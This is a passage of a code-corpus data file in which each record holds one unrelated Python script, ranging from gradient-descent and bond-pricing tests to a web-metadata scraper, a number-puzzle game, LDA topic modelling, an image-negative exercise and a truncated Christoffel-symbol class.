+{"seq_id":"252059863","text":"#testing gradient_descent.py\nimport gradient_descent\nimport numpy as np\n\nnumber_of_points = 100\nnumber_of_variables = 1\ntolerance = 10**-5\n\ndef function(x):\n return 5 * x[1] - 550\n\nX = [np.random.random() for _ in range(number_of_points * number_of_variables + 1)]\nbias = np.ones(shape=(number_of_points, number_of_variables + 1))\nX = np.array(X)\nX = np.resize(X, new_shape=(number_of_points, number_of_variables))\nbias[:, 1:] = X\nX = bias\ny = []\nfor x in X:\n y.append(function(x))\ny = np.array(y)\ny = np.resize(y, new_shape=(number_of_points, 1))\n\ngd = gradient_descent.GradientDescentOptimizer(learning_rate=0.5,tolerance=10**-5, X=X, y=y)\n\nprint(gd.optimize())\n\n\n","sub_path":"machinelearning/optimisation/gradient_descent/mini_batch_gradient_descent_test.py","file_name":"mini_batch_gradient_descent_test.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"454426618","text":"# import necessary module\nfrom mpl_toolkits.mplot3d import axes3d\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# load data from file\n# you can replace this using with open\ndata1 = np.loadtxt(\"../cmake-build-debug/tum_trajectory1.txt\")\ndata2 = np.loadtxt(\"../cmake-build-debug/groundtruth1.txt\");\ntx = data1[:, 1]\nty = data1[:, 2]\ntz = data1[:, 3]\n\ntxg = data2[:, 1]\ntyg = data2[:, 2]\ntzg = data2[:, 3]\n\n\n# new a figure and set it into 3d\nfig = plt.figure()\nax = fig.gca(projection='3d')\n\n# set figure information\nax.set_title(\"Trajectory\")\nax.set_xlabel(\"x\")\nax.set_ylabel(\"y\")\nax.set_zlabel(\"z\")\n\n# draw the figure, the color is r = read\nfigure = ax.plot(tx, ty, tz, c='r')\nfigure2 = ax.plot(txg, tyg, tzg, c='b');\n\nplt.show()","sub_path":"Example/PlotTrajectory1.py","file_name":"PlotTrajectory1.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"271664002","text":"# -*- coding: utf-8 -*-\n'''\nCreated on 2014.10.16\n\n@author: cheng.li\n'''\n\nimport unittest\nfrom CAL.PyCAL import *\nimport DataAPI\n\n\nclass TestFactory(unittest.TestCase):\n def testBuildBond(self):\n\n bondIDs = ['120012.XIBE', '140001.XIBE', '130016.XIBE', '149903.XIBE']\n bonds = BuildBond(bondIDs)\n bondInfos = DataAPI.BondGet(bondIDs)\n\n todayDate = Date(2014, 10, 16)\n SetEvaluationDate(todayDate)\n\n curve = FlatForward(todayDate, 0.05, 'Actual/360')\n bondEngine = DiscountingBondEngine(curve)\n\n for i, bond in enumerate(bonds):\n self.assertEqual(bond.securityID(), bondInfos.iloc[i].secID)\n self.assertEqual(bond.issuer(), bondInfos.iloc[i].issuer)\n self.assertEqual(bond.exchange(), bondInfos.iloc[i].exchangeCD)\n self.assertEqual(bond.shortName(), bondInfos.iloc[i].secShortName)\n self.assertEqual(bond.fullName(), bondInfos.iloc[i].secFullName)\n\n bond.setPricingEngine(bondEngine)\n bond.cleanPrice()\n\n def testBuildBondFixed(self):\n\n bondID = '120014.XIBE'\n\n today = Date(2013, 12, 2)\n flag = SetEvaluationDate(today)\n\n settlementDays = 1\n\n bonds = BuildBond(bondID, settlementDays, paymentDateAdjusted=False)\n\n bond = bonds\n\n cleanPrice = 95.4326\n dayCounter = DayCounter('Actual/Actual (ISMA)')\n frequency = Frequency.Annual\n calculatedYield = bond.yieldFromCleanPrice(cleanPrice, dayCounter, Compounding.Compounded, frequency)\n\n self.assertAlmostEqual(calculatedYield, 0.043074, 6)\n self.assertAlmostEqual(bond.cleanPriceFromYield(calculatedYield, dayCounter, Compounding.Compounded, frequency),\n 95.4326, 4)\n self.assertAlmostEqual(bond.accruedAmount(), 0.881, 3)\n\n def testBuildCurve(self):\n\n def getBenchmarkRates(curveName, refDate):\n curve = BuildCurve(curveName, refDate)\n dates = [refDate + Period(str(i) + 'M') for i in range(360)]\n return [curve.zeroYield(zDate) for zDate in dates]\n\n names = Config.__curveTraits__.keys()\n cal = Calendar('China.IB')\n ibDates = cal.bizDatesList('20150317', '20150512')\n cal = Calendar('China.SSE')\n sseDates = cal.bizDatesList('20150317', '20150512')\n\n for name in names:\n\n if name != 'TREASURY.XIHG':\n for date in ibDates:\n rates = getBenchmarkRates(name, date)\n else:\n for date in sseDates:\n rates = getBenchmarkRates(name, date)\n\n def testBuildHelper(self):\n\n codes = ['149901.XIBE',\n '120007.XIBE', '120017.XIBE', '140022.XIBE',\n '140015.XIBE', '140004.XIBE', '130023.XIBE',\n '140008.XIBE', '130020.XIBE', '140013.XIBE']\n\n prices = [99.5,\n 99.7613, 99.6708, 100.3650,\n 100.9778, 100.6094, 100.5826,\n 102.0884, 100.0731, 102.0485]\n\n refDate = Date(2014, 11, 3)\n SetEvaluationDate(refDate)\n\n instruments = BuildBondHelper(codes, prices, paymentDateAdjusted=True)\n\n yc = CalibratedYieldCurve(refDate, instruments, 'Actual/360')\n yc.enableExtrapolation()\n bondEngine = DiscountingBondEngine(yc)\n\n bonds = BuildBond(codes, paymentDateAdjusted=True)\n\n quoteDict = dict(zip(codes, prices))\n\n for bond in bonds:\n bond.setPricingEngine(bondEngine)\n expected = quoteDict[bond.securityID()]\n calculated = bond.cleanPrice()\n\n self.assertAlmostEqual(expected, calculated, 10)\n\n def testOptionStuff(self):\n\n OptionsDataSnapShot()\n res1 = OptionsDataSnapShot(contractType='ALL')\n res2 = OptionsDataSnapShot(contractType='CALL')\n res3 = OptionsDataSnapShot(contractType='Co')\n res4 = OptionsDataSnapShot(contractType='PUT')\n res5 = OptionsDataSnapShot(contractType='Po')\n\n OptionsAnalyticResult()\n OptionsAnalyticResult(res1)\n OptionsAnalyticResult(res2)\n OptionsAnalyticResult(res3)\n OptionsAnalyticResult(res4)\n OptionsAnalyticResult(res5)\n\n equityData = DataAPI.MktTickRTSnapshotGet(securityID='510050.XSHG')\n spotPrice = equityData['lastPrice'][0]\n OptionsAnalyticResult(res1, spotPrice)\n evaluationDate = EvaluationDate()\n OptionsAnalyticResult(res1, spotPrice, evaluationDate)\n\n res = OptionsDataSnapShot()\n optionIds = res.optionId\n indexes = [0, 20, 40]\n optionIDs = [optionIds[indexes[0]], optionIds[indexes[1]], optionIds[indexes[2]]]\n amounts = [2000, 3000, 4000]\n\n optBook = OptionBook(optionIDs, amounts, res)\n for i, index in enumerate(indexes):\n testRow = optBook.description().loc[i, :]\n benchMarkRow = res.loc[index, :]\n for col in benchMarkRow.index:\n self.assertEqual(testRow[col], benchMarkRow[col])\n\n def testVolSurfaceStuff(self):\n\n bkv = VolatilitySurfaceSnapShot(optionType='ALL', interpType='BlackVariance')\n sabr = VolatilitySurfaceSnapShot(optionType='ALL', interpType='SABR')\n svi = VolatilitySurfaceSnapShot(optionType='ALL', interpType='SVI')\n\n res = OptionsDataSnapShot()\n optionIds = res.optionId\n indexes = [0, 20, 40]\n optionIDs = [optionIds[indexes[0]], optionIds[indexes[1]], optionIds[indexes[2]]]\n amounts = [2000, 3000, 4000]\n optBook = OptionBook(optionIDs, amounts, res)\n\n optBook.riskReport(bkv)\n optBook.riskReport(sabr)\n optBook.riskReport(svi)\n","sub_path":"quantlib/CAL-SWIG/Python/CALUnitTests/testFactory.py","file_name":"testFactory.py","file_ext":"py","file_size_in_byte":5690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"567171999","text":"# import the require libraries\r\nfrom machine import Pin\r\nimport utime\r\n\r\n# global variable\r\ncounter = 0\r\n\r\n# constants\r\nSAMPLING_TIME = 1 # ( in seconds )\r\n # You may also ask the user to input sample time\r\n\r\n# pin declaration\r\ntachometerPin = Pin(16, Pin.IN, Pin.PULL_DOWN)\r\n\r\n\r\n# interrupt handler function\r\ndef tachometer(pin):# pin is default positional argument\r\n global counter\r\n counter += 1\r\n \r\n# attach the interrupt to the tachometer Pin\r\ntachometerPin.irq(trigger = Pin.IRQ_RISING,\r\n handler = tachometer)\r\n\r\n\r\n# main logic/ function of the program\r\nwhile True:\r\n utime.sleep(SAMPLING_TIME)\r\n \r\n revolutions_per_sampling_time = counter / 2 # two white strips on the rotor\r\n revolutions_per_sec = revolutions_per_sampling_time / SAMPLING_TIME\r\n revolutions_per_minute = revolutions_per_sec * 60\r\n \r\n print(\"RPM : \", revolutions_per_minute )\r\n # reset the counter to zero \r\n counter = 0\r\n","sub_path":"code/RaspberryPiPICO/tachometer.py","file_name":"tachometer.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"371413983","text":"import numpy as np\nfrom sklearn.metrics import roc_auc_score\nfrom app.src.classifier.evaluate_classifier import evaluate\n\ndef test(clf, X: np.ndarray, y: np.ndarray, threshold=None) -> float:\n \"\"\"Tests classifier\n\n Parameters\n ----------\n clf: fitted classifier\n\n X: array with features\n\n y: array with class labels\n\n threshold: if float then this value will be used to perform binary classification\n\n Returns\n - ------\n AUC\n \"\"\"\n proba = clf.predict_proba(X)\n\n y_positive_proba = list(map(lambda x: x[1], proba))\n auc = roc_auc_score(y, y_positive_proba)\n \n if threshold is not None:\n metrics = evaluate(X, y, proba, threshold)\n\n\n return auc, metrics\n","sub_path":"app/src/classifier/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"80130302","text":"import requests\nfrom bs4 import BeautifulSoup\n\n\nclass WebExtraction(object):\n def __init__(self, url):\n self.url = url\n self._context = \"\"\n self._meta = {}\n self._soup = None\n self._get_context()\n\n def _get_context(self):\n try:\n content = requests.get(self.url, headers={\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0'},\n allow_redirects=True,\n timeout=7).content\n except Exception as e:\n raise e\n else:\n self._soup = BeautifulSoup(content, 'html.parser')\n self._meta = {meta.get(\"name\") if meta.get(\"name\") else meta.get(\"property\"): meta.get(\"content\")\n for meta in self._soup.find_all(\"meta\")}\n\n def get_title(self):\n try:\n title = self._soup.title.string\n except AttributeError:\n title = \"\"\n return title\n\n def get_meta(self):\n return self._meta\n\n def get_og_img(self):\n return self._meta.get(\"og:image\", \"\")\n\n def get_description(self):\n if self._meta.get(\"description\"):\n return self._meta.get(\"description\")\n else:\n return self._meta.get(\"og:description\", \"\")\n","sub_path":"sample/utils/webextraction.py","file_name":"webextraction.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"325727134","text":"from PyQt5 import QtCore, QtGui, QtWidgets\nfrom DB import DB\nfrom LoginRegistrationView import LoginRegistrationView\nfrom AdminView import AdminView\nfrom UserView import UserView\nimport sys\n\nclass MainWindow(QtWidgets.QMainWindow):\n\tdef __init__(self, parent=None):\n\t\tsuper(MainWindow, self).__init__(parent)\n\t\ttry:\n\t\t\tself.db = DB()\n\t\texcept Exception as e:\n\t\t\tprint(\"Can't connect to database:\")\n\t\t\tprint(e)\n\t\t\tself.create_popup_window(\"Error!\", \"Can't connect to database!\")\n\t\t\texit()\n\t\tself.login_view = LoginRegistrationView()\n\t\tself.admin_view = AdminView()\n\t\tself.user_view = UserView()\n\t\t\n\t\t#center window\n\t\tqtRectangle = self.frameGeometry()\n\t\tcenterPoint = QtWidgets.QDesktopWidget().availableGeometry().center()\n\t\tqtRectangle.moveCenter(centerPoint)\n\t\tself.move(qtRectangle.topLeft())\n\t\tself.show_login_view()\n\t\n\tdef create_popup_window(self, title, message):\n\t\tpopup_window = QtWidgets.QMessageBox()\n\t\tpopup_window.setWindowTitle(title)\n\t\tpopup_window.setText(message)\n\t\tpopup_window.exec_()\n\t\n\tdef show_login_view(self):\n\t\tself.login_view.setupUi(self)\n\t\tself.show()\n\t\n\tdef show_admin_view(self):\n\t\tself.admin_view.setupUi(self)\n\t\tself.show()\n\t\n\tdef show_user_view(self, user):\n\t\tself.user_view.setupUi(self, user)\n\t\tself.show()\n\napp = QtWidgets.QApplication(sys.argv)\nui = MainWindow()\nsys.exit(app.exec_())\n","sub_path":"Code/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"37425396","text":"\"\"\"\n base_parser.py\n ~~~~~~~\n a base class of parser\n :author: Max\n :copyright: (c) 2018\n :date created: 2018-04-16\n :python version: 3.6\n\"\"\"\n\nimport os\nimport time\nimport json\nimport threading\nimport asyncio\nimport types\nimport traceback\n\nfrom queue import Queue\nfrom queue import Empty\n\nfrom multiprocessing import Process, Manager, Value, Array\nfrom ctypes import c_char_p\n\nfrom drogon_parser.settings import SAMPLE_PATH\nfrom drogon_parser.settings import RESULT_PATH\nfrom drogon_parser.settings import CONCURRENT_SIZE\nfrom drogon_parser.settings import PROCESS_COUNT\nfrom drogon_parser.settings import ASYN_COUNT\nfrom drogon_parser.settings import MAX_IDLE_TIMES\n\nfrom drogon_parser.logger import Logger\nfrom drogon_parser.utils import *\n\nclass ParserStatus(object):\n stop_status = 0\n start_status = 1\n\nclass BaseParser(object):\n parser_name = ''\n\n def __init__(self):\n path = os.path.join(RESULT_PATH, self.parser_name)\n if not os.path.exists(path):\n os.mkdir(path)\n self.result_path = os.path.join(path, self.parser_name)\n if os.path.exists(self.result_path):\n os.remove(self.result_path)\n self.sample_path = os.path.join(SAMPLE_PATH, self.parser_name)\n if not os.path.exists(self.sample_path):\n raise IOError('sample path not exists: {}'.format(self.sample_path))\n\n def read_files(self, sample_path_queue):\n for _, _, files in os.walk(self.sample_path):\n for f in files:\n sample_path_queue.put(os.path.join(self.sample_path, f))\n\n def on_start(self):\n print('parser started')\n manager = Manager()\n process_list = []\n sample_path_queue = manager.Queue()\n result_queue = manager.Queue()\n status = Array('i', [ParserStatus.start_status,])\n process_list.append(Process(target=self.read_files, args=(sample_path_queue,)))\n process_list.append(Process(target=self.write_result, args=(status, sample_path_queue, result_queue)))\n for i in range(PROCESS_COUNT):\n process_list.append(Process(target=self.parser_factory, args=(status, sample_path_queue, result_queue)))\n\n for p in process_list:\n p.start()\n for p in process_list:\n p.join()\n\n print('Parser finished.')\n\n def write_result(self, status, sample_path_queue, result_queue):\n retry_count = 0\n with open(self.result_path, 'a', encoding='utf-8') as f:\n while True:\n try:\n content = result_queue.get(False)\n f.write('{}\\n'.format(content))\n retry_count = 0\n except Empty:\n time.sleep(1)\n if sample_path_queue.empty() and result_queue.empty():\n retry_count += 1\n if retry_count == MAX_IDLE_TIMES:\n status[0] = ParserStatus.stop_status\n break\n except:\n print(traceback.format_exc())\n\n def parser_factory(self, status, sample_path_queue, result_queue):\n loop = asyncio.get_event_loop()\n tasks = []\n for i in range(ASYN_COUNT):\n tasks.append(asyncio.ensure_future(self.on_parser(status, sample_path_queue, result_queue)))\n loop.run_until_complete(asyncio.wait(tasks))\n loop.close()\n\n async def on_parser(self, status, sample_path_queue, result_queue):\n while status[0]== ParserStatus.start_status:\n try:\n file_path = sample_path_queue.get(False)\n content = open(file_path, encoding='utf-8').read()\n callback = self.parse(content)\n if isinstance(callback, types.GeneratorType):\n for ret in callback:\n if isinstance(ret, dict):\n result_queue.put(json.dumps(ret, ensure_ascii=False))\n elif isinstance(callback, dict):\n print(callback)\n result_queue.put(json.dumps(callback, ensure_ascii=False))\n except Empty:\n time.sleep(1)\n except:\n print(traceback.format_exc())\n\n def parse(self, content):\n pass\n","sub_path":"drogon_parser/drogon_parser/parser/base_parser.py","file_name":"base_parser.py","file_ext":"py","file_size_in_byte":4298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"281276981","text":"# ONE-WAY WOODS GAME - Where Waiting Gets You Moving\n\n\"\"\"\nGoal: Given a random number with k-digits (initial digit values from 1 to k),\n get to the goal number, 123...(k-1)k in the fewest moves possible.\n For example, 9-digit OWW has a goal of 123456789 and a random\n starting number from 111111111 (though 100000000 is the lowest\n possible value) to 999999999.\n\nRules: The player can move in five different ways, four of which are\n directional. The fifth is \"Wait.\"\n\n DIRECTIONAL: Based on the generated 4xk matrix. Each direction\n has a unique mathematical operation for each digit.\n Operations are addition, subtraction, multiplication,\n and exponentiation. Modulo k+1 is used is necessary.\n WAIT: Right circular bit-shift. For example, the current\n position/number is 41521. Waiting results in 14152,\n 21415, etc. If 0 is the last digit, keep shifting\n until the first digit is non-zero.\n\nMatrix Generation (Prototype):\n Given a matrix with 4 rows (mathematical operations) and k-columns,\n fill the rule matrix as follows (in order):\n\n 'U': Start from [0,0]. Move diagonally. Wrap around to first row\n if current digit i is divisible by 4.\n 'D': Start from [1,0]. At the i-th digit, move i spaces downward\n and fill in the blank (wrap around if necessary). If slot\n is occupied, move downward until space is blank.\n 'R': Start from [2,0]. At i-th digit, move (2i-1) spaces downward\n and fill in the blank (wrap around if necessary). If slot\n is occupied, move downward until space is blank.\n 'L': Start from [3,0]. Fill in the remaining blanks.\n\nMatrix Generation (New):\n Given a matrix with 4 rows (mathematical operations) and k-columns,\n fill the rule matrix according to the 4x4 magic square.\n\nMath Operations:\n 0: Addition; Add current digit with the digit's position\n 1: Subtraction; Subtract current digit by the digit's position\n 2: Multiplication; Multiply current digit by the digit's position\n 3: Exponentiation; Exponentiate current digit to the digit's position\n\n Ex: Let n be the digit value, i be the digit position. n+i, n-i, n*i,\n and n**i are the four operations, respectively. Modulo by the number\n of digits plus 1, k+1, if necessary. If first digit is 0, add 1.\n\nMethods:\n build_rules(): Build the operation/rule matrix based on the number of digits\n used in the game.\n generate_number(): Generate the starting number (n). May repeat if generated\n number equals the goal number.\n generate_goal(): Generate the goal number (n) based on the number of digits used\n in the game.\n check_goal(n): Checks if the current position or number (n) matches the\n goal number.\n parse_direction(d): Generates an instruction string (p) based on the given\n direction (d) and the rule matrix.\n move(d,n): Processes user input (d) and manipulates the current position or\n number (n) accordingly.\n\"\"\"\n\nimport numpy as np\nimport random\n\nclass Master:\n def __init__(self, k): # k is how many digits needed; 2 <= k <= 9\n self.k = k\n self.directions = ['U', 'R', 'D', 'L']\n self.rules = np.empty([4, self.k], dtype=str)\n self.goal = self.generate_goal()\n\n self.build_rules()\n\n \"\"\"\n def build_rules0(self):\n # Fill the matrix in this order: U, D, R, L\n row, col = 0, 0 # row and col are anchors\n for d in range(4): # d is directional number\n row, col = d, 0\n while col < self.k:\n if d == 0:\n self.rules[row, col] = 'U'\n col += 1\n row = (row+1) % 4 # Modulo for wrap-around\n\n elif d == 1:\n self.rules[row, col] = 'D'\n col += 1\n row = (row+col+1) % 4\n if col >= self.k:\n break\n while self.rules[row, col] in self.directions:\n row = (row+1) % 4\n\n elif d == 2:\n self.rules[row, col] = 'R'\n col += 1\n row = (row+2*col-1) % 4\n if col >= self.k:\n break\n while self.rules[row, col] in self.directions:\n row = (row+1) % 4\n\n elif d == 3:\n self.rules[row, col] = 'L'\n col += 1\n row = (row+1) % 4\n if col >= self.k:\n break\n while self.rules[row, col] in self.directions:\n row = (row+1) % 4\n \"\"\"\n\n def build_rules(self):\n # Fill the matrix in this order: U, R, D, L\n row, col = 0, 0 # row and col are anchors\n for d in range(4): # d is directional number\n row, col = d, 0\n while col < self.k:\n if d == 0:\n self.rules[row, col] = 'U'\n col += 1\n row = (row+(4-col)) % 4 # Modulo for wrap-around\n\n elif d == 1:\n self.rules[row, col] = 'R'\n col += 1\n row = (row+(col)) % 4\n\n elif d == 2:\n self.rules[row, col] = 'D'\n col += 1\n row = (row+(4-col)) % 4\n\n elif d == 3:\n self.rules[row, col] = 'L'\n col += 1\n row = (row+(col)) % 4\n\n if col%4 == 0:\n row = (row+2) % 4\n\n def generate_number(self):\n n = ''\n for i in range(self.k):\n n += str(random.randint(1,self.k))\n return int(n)\n\n def generate_goal(self):\n n = ''\n for i in range(1,self.k+1):\n n += str(i)\n return int(n)\n\n def check_goal(self, n):\n if n == self.goal:\n return True\n return False\n\n def parse_direction(self, d): # d is a direction: U, D, R, L\n d_dict = {'U': '1423',\n 'R': '2314',\n 'D': '3241',\n 'L': '4132'} # Based on the current set of rules\n p = '' # Parse string to determine operation per digit\n for i in range(self.k):\n p += d_dict[d][i%4]\n return p\n\n def move(self, d, n): # d is a direction or Wait, n is the current position\n if d == '-': # If Wait...\n e = 1 # Marker to last digit; for modulo\n while n%(10**e) == 0:\n e += 1\n n = n//(10**e) + (n%(10**e))*(10**(self.k-e)) # Bit shift\n elif d in self.directions:\n p = self.parse_direction(d)\n n_str = str(n)\n n = ''\n for i in range(self.k): # Iterate through the number's digits\n if p[i] == '1': # Addition\n digit = (int(n_str[i])+(i+1))%(self.k+1)\n elif p[i] == '2': # Subtraction\n digit = (int(n_str[i])-(i+1))%(self.k+1)\n elif p[i] == '3': # Multiplication\n digit = (int(n_str[i])*(i+1))%(self.k+1)\n elif p[i] == '4': # Exponentiation\n digit = (int(n_str[i])**(i+1))%(self.k+1)\n if i == 0 and digit == 0:\n digit += 1\n n += str(digit)\n n = int(n)\n else:\n print(\"\\nERROR! Input not recognized.\\n\")\n return n\n\nM = Master(5)\n\n# START GAME HERE\nn = M.generate_goal()\nwhile (M.check_goal(n)):\n n = M.generate_number()\n\nname = raw_input(\"Tell me your name: \")\nwhile (not M.check_goal(n)):\n print(\"\\n================ ONE-WAY WOODS (OWW) ================\")\n print(name+\", what do you want to do:\\n[U] Go Up/Forward\\n[D] Go Down/Back\\n[L] Go Left\\n[R] Go Right\\n[-] Wait\\n[Q] Quit\\n\")\n print(\"Current Position: \"+str(n))\n i = raw_input(\"Choice: \")\n if (i.upper() == 'Q'):\n break\n else:\n n = M.move(i.upper(), n)\n\nif M.check_goal(n):\n print(\"\\nCurrent Position: \"+str(n))\n print(\"************ CONGRATULATIONS! YOU GOT OUT ALIVE! ************\")\nelse:\n print(\"\\nGood night...\")\n\n\"\"\"\nOBSERVATIONS:\n- Interesting... So the columns repeat after 4 columns. Which means columns\n 1, 5, 9, etc. have the same values. In general, if there i rows and j\n columns, then j, i+j, 2i+j, ... have the same column compositions.\n- Some nodes are two-way; that is, they are inverses of each other. Most nodes\n are one-way as expected of One-Way Woods.\n\n\"\"\"\n","sub_path":"One-Way Woods/one-way-woods.py","file_name":"one-way-woods.py","file_ext":"py","file_size_in_byte":8807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"473489100","text":"# 自作のデータ読み込み&前処理用ライブラリ\nimport datetime\nimport re\nimport sys\nfrom pprint import pprint\n\nimport gensim\n\nimport pyLDAvis\nimport pyLDAvis.gensim\nfrom lib import utils\nfrom lib.tfidf import TfidfModel\nfrom lib.utils import stems, stopwords\n\n\ndef load_data_for_segmentation(doc_num, *, ans=False):\n print('Interview:', doc_num)\n path = './data/segmentation/sentence/interview-text_' + doc_num + '.txt'\n # path = './data/segmentation/utterance/interview-text_' + doc_num + '.txt'\n if ans:\n path = './data/eval/interview-text_sentence_' + doc_num + '.txt'\n\n return utils.load_data_segment(path)\n\n\nif __name__ == '__main__':\n args = sys.argv\n if 2 <= len(args):\n if not(args[1] == 'sentence' or args[1] == 'segmentation' or args[1] == 'utterance' or args[1] == 'segmentation/ans'):\n print('Argument is invalid')\n exit()\n else:\n print('Arguments are too sort')\n exit()\n\n doc_type = args[1]\n\n doc_num = 'all'\n path = './data/interview/interview-text_01-26_' + doc_num + '.txt'\n\n if doc_type == 'sentence':\n data = utils.load_data(path)\n # to sentence\n data = utils.to_sentence(data)\n docs = [row[1] for row in data]\n\n if doc_type == 'utterance':\n data = utils.load_data(path)\n docs = [row[1] for row in data]\n\n elif doc_type == 'segmentation' or doc_type == 'segmentation/ans':\n ans = False\n if doc_type == 'segmentation/ans':\n ans = True\n if doc_num == 'all':\n doc_num = '26'\n data_arr = []\n for num in range(int(doc_num)):\n num += 1\n if num < 10:\n num = '0' + str(num)\n else:\n num = str(num)\n data_arr.append(load_data_for_segmentation(num, ans=ans))\n\n # セグメント単位でまとめる\n docs = []\n for data in data_arr:\n tmp_docs = []\n for item in data.items():\n if '_____' in item[1][0]:\n docs.append('\\n'.join(tmp_docs))\n tmp_docs = []\n else:\n tmp_docs.extend([item[1][1]])\n docs.append('\\n'.join(tmp_docs))\n\n if doc_num == 'all':\n doc_num = '26'\n doc_num = '01_' + doc_num\n\n # Params\n no_below = 3\n no_above = 0.8\n keep_n = 100000\n topic_N = 9\n sw = stopwords()\n docs_for_training = [stems(doc, polish=True, sw=sw) for doc in docs]\n\n print('===コーパス生成===')\n # tfidf\n # tfidf = TfidfModel(no_below=no_below, no_above=no_above, keep_n=keep_n)\n # tfidf.train(docs_for_training)\n # dictionary = tfidf.dictionary\n # corpus = tfidf.corpus\n # corpus = tfidf.model[corpus]\n\n dictionary = gensim.corpora.Dictionary(docs_for_training)\n dictionary.filter_extremes(no_below=no_below, no_above=no_above, keep_n=keep_n)\n corpus = list(map(dictionary.doc2bow, docs_for_training))\n\n # 単語数と語彙数\n # print(len(dictionary))\n # print(len(dictionary.token2id))\n # count = 0\n # for arr in corpus:\n # for w in arr:\n # count += w[1]\n\n # print(count)\n # print(len(corpus))\n # exit()\n\n # Load\n # dictionary = gensim.corpora.Dictionary.load_from_text('./model/tfidf/dict_' + str(no_below) + '_' + str(int(no_above * 100)) + '_' + str(keep_n) + '.dict')\n # corpus = list(map(dictionary.doc2bow, docs_for_training))\n print(docs[-3:])\n\n # LDAモデルの構築\n lda = gensim.models.ldamodel.LdaModel(corpus=corpus, num_topics=topic_N, id2word=dictionary, random_state=1, iterations=1000)\n\n # モデルのsave\n model_name = 'doc_num_' + doc_num + '_topic_' + str(topic_N)\n lda.save('./model/lda/' + doc_type + '/' + model_name + '.model')\n\n save_path = './result/lda/' + doc_type + '/'\n with open(save_path + model_name + '_' + str(datetime.date.today()) + '.txt', 'w') as f:\n for i in range(topic_N):\n print(\"\\n\", file=f)\n print(\"=\"*80, file=f)\n print(\"TOPIC {0}\\n\".format(i+1), file=f)\n topic = lda.show_topic(i, topn=30)\n for t in topic:\n print(\"{0:20s}{1}\".format(t[0], t[1]), file=f)\n\n # 可視化\n # Vis Metric MDS\n mds_type = 'pcoa'\n # vis_mds = pyLDAvis.gensim.prepare(lda, corpus, dictionary, sort_topics=False)\n vis_mds = pyLDAvis.gensim.prepare(lda, corpus, dictionary, mds=mds_type, sort_topics=False)\n\n # save as html\n pyLDAvis.save_html(vis_mds, save_path + mds_type + '_' + model_name + '.html')\n\n # for topic in lda.show_topics(-1, num_words=20):\n # print(topic)\n # # セグメント単位で入れた場合の処理\n # target_record = 5 # 分析対象のドキュメントインデックス\n # print(docs[5])\n\n # for topics_per_document in lda[corpus[target_record]]:\n # print(topics_per_document[0], topics_per_document[1])\n","sub_path":"lda_train.py","file_name":"lda_train.py","file_ext":"py","file_size_in_byte":4946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"614805391","text":"# Digital Image Processing\n# Student: Samuel Amico\n# Number: 20180010181\n# Exercise 1.1 - biel.png\n\nimport numpy as np\nimport cv2\nimport time\n\n# Negative.py :\n\nimage = cv2.imread('biel.png')\n#cv2.imwrite('bielgray.png',image)\n\nheight, width, ch = image.shape\nprint(\"height - y: \",height,\"width - x: \",width)\n\n\n# P1 = top-left & P2 = bottom-right\n# 10,10 - 150,150\nP1x = input(\"Ponto 1 x - top:\")\nP1y = input(\"Ponto 1 y - top:\")\nP2x = input(\"Ponto 2 x - bot:\")\nP2y = input(\"Ponto 2 y - bot:\")\nprint(\"P1 = (\",P1x,\",\",P1y,\") \",\"P2 = (\",P2x,\",\",P2y,\")\")\n\n\nif (image is not None):\n\tcv2.imshow(\"Original\", image)\n\nk = cv2.waitKey(0)\ncv2.destroyAllWindows()\n\n\ncv2.rectangle(image,(int(P1x-3),int(P1y-3)),(int(P2x+3),int(P2y+3)),(0,255,0),2)\ncv2.imshow(\"Rec inside the image\", image)\nk = cv2.waitKey(0)\n#cv2.imwrite('RecImage.png',image)\n\n# Apply Negative efect\nfor i in range(P1x,P2x):\n\tfor j in range(P1y,P2y):\n\t\timage[i,j] = 255 - image[i,j]\n\ncv2.imshow(\"Negative\", image)\nk = cv2.waitKey(0)\n#cv2.imwrite('negativebiel.png',image)\ncv2.destroyAllWindows()\n\n\n# ------------------------------> y\n#|(0,0) |\n#|\t\t\t\t |\n#|\t\t\t\t |\n#|\t\t\t\t |\n#|\t\t\t\t |\n#|\t\t\t\t |\n#|\t\t\t\t |\n#|\t\t\t\t |\n#| (width,height)|\n#X------------------------------\n","sub_path":"PDI-WORK/trabalho1.py","file_name":"trabalho1.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"14531863","text":"import sympy as sp\n\nclass Christoffel(object): \n \"\"\"Class defining a Christoffel object. \n\n The Christoffel symbols are calculated from a metric as \n\n \\[\n '\\Gamma^{\\rho}_{\\mu\\nu} = \\frac{1}{2}g^{\\rho\\lambda}(\\partial_\\mu g_{\\nu\\lambda} + \\partial_\\nu g_{\\lambda\\mu} - \\partial_\\lambda g_{\\mu\\nu})'\n \\]\n\n Parameters: \n -----------\n Pass parameters to the constructor that will be used to create attributes of a class \n instance. Some parameters may or may not be attributes themselves.\n\n index_dict : dict, string \n A dictionary of strings representing the names of the variables to be used. \n For example, if working in spherical polar coordinates use \n {0:'t', 1:'r', 2:'theta', 3:'phi'} \n\n Attributes: \n -----------\n Properties of a class instance that are calculated from constructor data. 